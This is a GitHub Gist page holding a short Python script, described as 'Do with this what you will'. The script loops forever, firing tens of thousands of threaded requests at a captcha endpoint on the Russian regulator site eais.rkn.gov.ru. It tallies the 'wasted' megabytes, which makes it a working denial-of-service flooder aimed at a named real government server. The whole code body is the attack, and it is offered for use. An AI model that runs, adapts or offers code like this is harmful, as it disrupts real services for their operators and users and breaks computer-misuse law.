Created
February 25, 2022 20:57
-
-
Save meawoppl/48467e5ffb5a978445b2ae0a58d85560 to your computer and use it in GitHub Desktop.
Do with this what you will
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import itertools | |
import urllib.request | |
import concurrent.futures | |
def waste_captca(): | |
return len(urllib.request.urlopen("https://eais.rkn.gov.ru/services/securimage/show/?5ced0981b6c71407228991525572f2e3").read()) | |
wasted_bytes = 0 | |
futs = {} | |
for i in itertools.count(): | |
with concurrent.futures.ThreadPoolExecutor(max_workers=25) as tpe: | |
for x in range(10000): | |
futs[tpe.submit(waste_captca)] = x | |
print(futs) | |
for r in concurrent.futures.as_completed(futs): | |
wasted_bytes += r.result() | |
print(f"{wasted_bytes / 1e6}MB") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment